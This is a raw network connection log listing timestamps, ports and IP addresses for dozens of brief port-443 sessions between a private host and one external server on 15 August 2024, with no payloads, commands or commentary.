Aug 15, 2024 08:10:44.858558893 CEST	50243	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.866416931 CEST	50243	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.866426945 CEST	443	50243	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.866446018 CEST	443	50243	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.870300055 CEST	50244	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.870306969 CEST	443	50244	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.870357990 CEST	50244	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.878263950 CEST	50244	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.878273010 CEST	443	50244	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.878288031 CEST	443	50244	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.881958961 CEST	50245	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.881968021 CEST	443	50245	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.882019997 CEST	50245	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.890059948 CEST	50245	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.890067101 CEST	443	50245	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.890079975 CEST	443	50245	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.894155025 CEST	50246	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.894164085 CEST	443	50246	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.894218922 CEST	50246	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.906718016 CEST	50246	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.906728029 CEST	443	50246	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.906747103 CEST	443	50246	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.911894083 CEST	50247	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.911904097 CEST	443	50247	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.911952972 CEST	50247	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.923690081 CEST	50247	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.923700094 CEST	443	50247	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.923717976 CEST	443	50247	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.928507090 CEST	50248	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.928514004 CEST	443	50248	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.928561926 CEST	50248	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.939950943 CEST	50248	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.939963102 CEST	443	50248	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.939982891 CEST	443	50248	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.944861889 CEST	50249	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.944878101 CEST	443	50249	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.944930077 CEST	50249	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.957379103 CEST	50249	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.957389116 CEST	443	50249	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.957408905 CEST	443	50249	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.962831020 CEST	50250	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.962838888 CEST	443	50250	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.963000059 CEST	50250	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.976568937 CEST	50250	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.976579905 CEST	443	50250	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.976600885 CEST	443	50250	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.982043028 CEST	50251	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.982058048 CEST	443	50251	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.982105017 CEST	50251	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.993634939 CEST	50251	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.993643999 CEST	443	50251	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.993659973 CEST	443	50251	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.999002934 CEST	50252	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:44.999012947 CEST	443	50252	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:44.999283075 CEST	50252	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.010936975 CEST	50252	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.010947943 CEST	443	50252	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.010967016 CEST	443	50252	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.015341997 CEST	50253	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.015374899 CEST	443	50253	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.015458107 CEST	50253	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.031003952 CEST	50253	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.031017065 CEST	443	50253	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.031033993 CEST	443	50253	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.039658070 CEST	50254	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.039665937 CEST	443	50254	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.039763927 CEST	50254	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.058233976 CEST	50254	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.058248997 CEST	443	50254	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.058275938 CEST	443	50254	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.064121962 CEST	50255	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.064146996 CEST	443	50255	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.064233065 CEST	50255	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.094518900 CEST	50255	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.094531059 CEST	443	50255	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.094557047 CEST	443	50255	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.109131098 CEST	50256	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.109168053 CEST	443	50256	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.109230042 CEST	50256	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.121670008 CEST	50256	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.121681929 CEST	443	50256	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.121701002 CEST	443	50256	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.131186008 CEST	50257	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.131221056 CEST	443	50257	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.131273985 CEST	50257	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.144100904 CEST	50257	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.144114971 CEST	443	50257	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.144136906 CEST	443	50257	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.149967909 CEST	50258	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.149976969 CEST	443	50258	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.150103092 CEST	50258	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.162650108 CEST	50258	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.162659883 CEST	443	50258	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.162677050 CEST	443	50258	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.167438984 CEST	50259	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.167458057 CEST	443	50259	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.167687893 CEST	50259	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.177356005 CEST	50259	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.177366018 CEST	443	50259	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.177386045 CEST	443	50259	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.182521105 CEST	50260	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.182529926 CEST	443	50260	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.182594061 CEST	50260	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.192579985 CEST	50260	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.192589045 CEST	443	50260	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.192609072 CEST	443	50260	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.197015047 CEST	50261	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.197032928 CEST	443	50261	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.197144985 CEST	50261	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.206707954 CEST	50261	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.206726074 CEST	443	50261	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.206743002 CEST	443	50261	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.212111950 CEST	50262	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.212127924 CEST	443	50262	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.212207079 CEST	50262	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.221263885 CEST	50262	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.221281052 CEST	443	50262	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.221301079 CEST	443	50262	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.225744009 CEST	50263	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.225754023 CEST	443	50263	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.225821972 CEST	50263	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.235213041 CEST	50263	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.235223055 CEST	443	50263	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.235240936 CEST	443	50263	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.240119934 CEST	50264	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.240127087 CEST	443	50264	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.241465092 CEST	50264	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.249872923 CEST	50264	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.249886990 CEST	443	50264	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.249905109 CEST	443	50264	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.256402969 CEST	50265	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.256412983 CEST	443	50265	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.256580114 CEST	50265	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.265408039 CEST	50265	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.265415907 CEST	443	50265	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.265430927 CEST	443	50265	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.269937038 CEST	50266	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.269951105 CEST	443	50266	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.270276070 CEST	50266	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.279701948 CEST	50266	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.279720068 CEST	443	50266	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.279737949 CEST	443	50266	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.285007954 CEST	50267	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.285017014 CEST	443	50267	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.285223961 CEST	50267	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.296565056 CEST	50267	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.296575069 CEST	443	50267	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.296591043 CEST	443	50267	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.301549911 CEST	50268	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.301564932 CEST	443	50268	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.302086115 CEST	50268	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.314223051 CEST	50268	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.314238071 CEST	443	50268	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.314255953 CEST	443	50268	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.318929911 CEST	50269	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.318939924 CEST	443	50269	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.319025040 CEST	50269	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.330670118 CEST	50269	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.330679893 CEST	443	50269	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.330697060 CEST	443	50269	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.340740919 CEST	50270	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.340749979 CEST	443	50270	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.341347933 CEST	50270	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.352906942 CEST	50270	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.352917910 CEST	443	50270	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.352941036 CEST	443	50270	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.359978914 CEST	50271	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.359998941 CEST	443	50271	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.360194921 CEST	50271	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.371449947 CEST	50271	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.371467113 CEST	443	50271	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.371489048 CEST	443	50271	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.376425982 CEST	50272	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.376538992 CEST	443	50272	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.377136946 CEST	50272	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.406961918 CEST	50272	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.407037973 CEST	443	50272	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.407079935 CEST	443	50272	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.414966106 CEST	50273	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.415047884 CEST	443	50273	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.415333986 CEST	50273	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.426039934 CEST	50273	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.426120043 CEST	443	50273	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.426155090 CEST	443	50273	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.432456970 CEST	50274	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.432558060 CEST	443	50274	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.432904959 CEST	50274	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.443706036 CEST	50274	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.443772078 CEST	443	50274	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.443809032 CEST	443	50274	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.449774981 CEST	50275	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.449856043 CEST	443	50275	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.450192928 CEST	50275	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.463999033 CEST	50275	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.464087963 CEST	443	50275	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.464123964 CEST	443	50275	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.471992970 CEST	50276	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.472070932 CEST	443	50276	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.472347975 CEST	50276	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.482925892 CEST	50276	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.483002901 CEST	443	50276	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.483036995 CEST	443	50276	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.488132954 CEST	50277	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.488213062 CEST	443	50277	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.488471985 CEST	50277	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.502490044 CEST	50277	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.502557993 CEST	443	50277	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.502593040 CEST	443	50277	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.507771969 CEST	50278	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.507849932 CEST	443	50278	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.508008957 CEST	50278	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.520215988 CEST	50278	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.520292044 CEST	443	50278	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.520324945 CEST	443	50278	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.527226925 CEST	50279	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.527307034 CEST	443	50279	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.527735949 CEST	50279	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.538705111 CEST	50279	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.538784027 CEST	443	50279	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.538849115 CEST	443	50279	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.544203997 CEST	50280	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.544285059 CEST	443	50280	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.544454098 CEST	50280	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.557363033 CEST	50280	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.557440042 CEST	443	50280	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.557473898 CEST	443	50280	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.562129021 CEST	50281	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.562207937 CEST	443	50281	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.562340975 CEST	50281	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.572570086 CEST	50281	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.572643995 CEST	443	50281	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.572675943 CEST	443	50281	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.577367067 CEST	50282	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.577445030 CEST	443	50282	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.577682018 CEST	50282	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.587443113 CEST	50282	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.587517977 CEST	443	50282	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.587549925 CEST	443	50282	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.593374014 CEST	50283	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.593472004 CEST	443	50283	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.593594074 CEST	50283	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.602735996 CEST	50283	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.602840900 CEST	443	50283	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.602874994 CEST	443	50283	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.607413054 CEST	50284	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.607491016 CEST	443	50284	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.607646942 CEST	50284	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.617305040 CEST	50284	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.617377043 CEST	443	50284	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.617412090 CEST	443	50284	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.625386953 CEST	50285	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.625473022 CEST	443	50285	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.625552893 CEST	50285	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.641484976 CEST	50285	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.641561031 CEST	443	50285	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.641593933 CEST	443	50285	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.646131992 CEST	50286	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.646209955 CEST	443	50286	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.646356106 CEST	50286	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.655306101 CEST	50286	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.655385017 CEST	443	50286	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.655422926 CEST	443	50286	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.661489010 CEST	50287	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.661566973 CEST	443	50287	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.661962032 CEST	50287	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.671389103 CEST	50287	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.671463966 CEST	443	50287	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.671497107 CEST	443	50287	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.676203966 CEST	50288	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.676284075 CEST	443	50288	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.676563978 CEST	50288	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.685501099 CEST	50288	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.685559988 CEST	443	50288	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.685595036 CEST	443	50288	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.690150023 CEST	50289	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.690229893 CEST	443	50289	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.690608025 CEST	50289	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.700664043 CEST	50289	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.700740099 CEST	443	50289	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.700774908 CEST	443	50289	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.705702066 CEST	50290	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.705782890 CEST	443	50290	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.706201077 CEST	50290	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.715821028 CEST	50290	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.715899944 CEST	443	50290	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.715935946 CEST	443	50290	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.721504927 CEST	50291	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.721587896 CEST	443	50291	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.721901894 CEST	50291	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.731846094 CEST	50291	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.731925011 CEST	443	50291	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.731961966 CEST	443	50291	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.745485067 CEST	50292	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.745565891 CEST	443	50292	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.746184111 CEST	50292	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.757487059 CEST	50292	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.757564068 CEST	443	50292	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.757605076 CEST	443	50292	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.765475988 CEST	50293	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.765554905 CEST	443	50293	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.773473024 CEST	50293	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.781480074 CEST	50293	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.781555891 CEST	443	50293	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.781594992 CEST	443	50293	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.786694050 CEST	50294	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.786772966 CEST	443	50294	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.787079096 CEST	50294	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.795489073 CEST	50294	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.795593023 CEST	443	50294	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.795625925 CEST	443	50294	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.800206900 CEST	50295	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.800285101 CEST	443	50295	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.800532103 CEST	50295	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.810269117 CEST	50295	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.810342073 CEST	443	50295	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.810376883 CEST	443	50295	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.815004110 CEST	50296	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.815084934 CEST	443	50296	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.815474987 CEST	50296	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.825119972 CEST	50296	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.825196981 CEST	443	50296	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.825228930 CEST	443	50296	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.833489895 CEST	50297	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.833569050 CEST	443	50297	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.841487885 CEST	50297	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.849504948 CEST	50297	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.849581003 CEST	443	50297	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.849615097 CEST	443	50297	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.857381105 CEST	50298	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.857459068 CEST	443	50298	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:45.865525961 CEST	50298	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.873550892 CEST	50298	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:45.873625994 CEST	443	50298	94.141.120.29	192.168.2.4
